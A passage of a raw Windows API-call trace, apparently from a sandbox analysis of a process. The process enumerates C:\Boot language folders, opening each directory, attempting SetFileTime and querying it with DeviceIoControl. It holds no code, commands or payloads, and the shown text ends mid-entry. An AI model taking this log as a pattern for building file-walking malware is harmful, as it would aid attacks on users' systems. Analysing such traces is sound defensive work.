[0226.979] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0226.979] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.979] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO" (normalized: "c:\\boot\\nb-no"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0226.979] CreateFileW (lpFileName="C:\\Boot\\nb-NO" (normalized: "c:\\boot\\nb-no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0226.979] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0226.979] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0226.979] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0226.980] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0226.980] NtClose (Handle=0x170) returned 0x0 [0226.980] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.980] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.980] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0226.980] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0226.980] FindFirstFileExW (in: lpFileName="C:\\Boot\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0226.980] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.980] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.980] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.980] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.980] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.980] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.980] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0226.980] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3de8 [0226.980] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4a90 [0226.980] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0226.980] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0226.980] GetLastError () returned 0x12 [0226.980] FindFirstFileExW (in: lpFileName="C:\\Boot\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0226.980] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0226.980] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.981] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0226.981] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0226.981] GetLastError () returned 0x12 [0226.981] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0226.981] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0226.981] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0226.981] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0226.981] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0226.981] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0226.981] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL" (normalized: "c:\\boot\\nl-nl"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.096] CreateFileW (lpFileName="C:\\Boot\\nl-NL" (normalized: "c:\\boot\\nl-nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0227.096] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0227.097] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0227.097] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0227.097] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0227.097] NtClose (Handle=0x1ac) returned 0x0 [0227.097] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0227.097] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0227.097] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0227.097] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0227.097] FindFirstFileExW (in: lpFileName="C:\\Boot\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0227.097] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.097] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0227.097] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.097] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.097] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.097] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.097] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.097] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3e08 [0227.097] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4b18 [0227.097] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.097] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0227.097] GetLastError () returned 0x12 [0227.097] FindFirstFileExW (in: lpFileName="C:\\Boot\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0227.098] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0227.098] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.098] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0227.098] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0227.098] GetLastError () returned 0x12 [0227.098] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0227.098] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0227.098] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0227.098] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0227.098] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0227.098] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0227.098] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL" (normalized: "c:\\boot\\pl-pl"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.098] CreateFileW (lpFileName="C:\\Boot\\pl-PL" (normalized: "c:\\boot\\pl-pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0227.098] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0227.098] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0227.098] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0227.099] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0227.099] NtClose (Handle=0x170) returned 0x0 [0227.099] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0227.099] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0227.099] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0227.099] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0227.099] FindFirstFileExW (in: lpFileName="C:\\Boot\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0227.099] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.099] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0227.099] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.099] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.099] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.099] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.099] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.099] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3e28 [0227.099] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4ba0 [0227.099] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.099] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0227.099] GetLastError () returned 0x12 [0227.099] FindFirstFileExW (in: lpFileName="C:\\Boot\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0227.099] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0227.099] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.099] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0227.100] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0227.100] GetLastError () returned 0x12 [0227.100] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0227.100] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0227.100] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0227.100] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0227.100] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0227.100] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0227.100] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR" (normalized: "c:\\boot\\pt-br"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.141] CreateFileW (lpFileName="C:\\Boot\\pt-BR" (normalized: "c:\\boot\\pt-br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0227.142] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0227.143] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0227.143] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0227.143] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0227.143] NtClose (Handle=0x1ac) returned 0x0 [0227.153] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0227.153] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0227.153] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0227.153] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0227.153] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0227.156] FindNextFileW (in: hFindFile=0x4fd460, 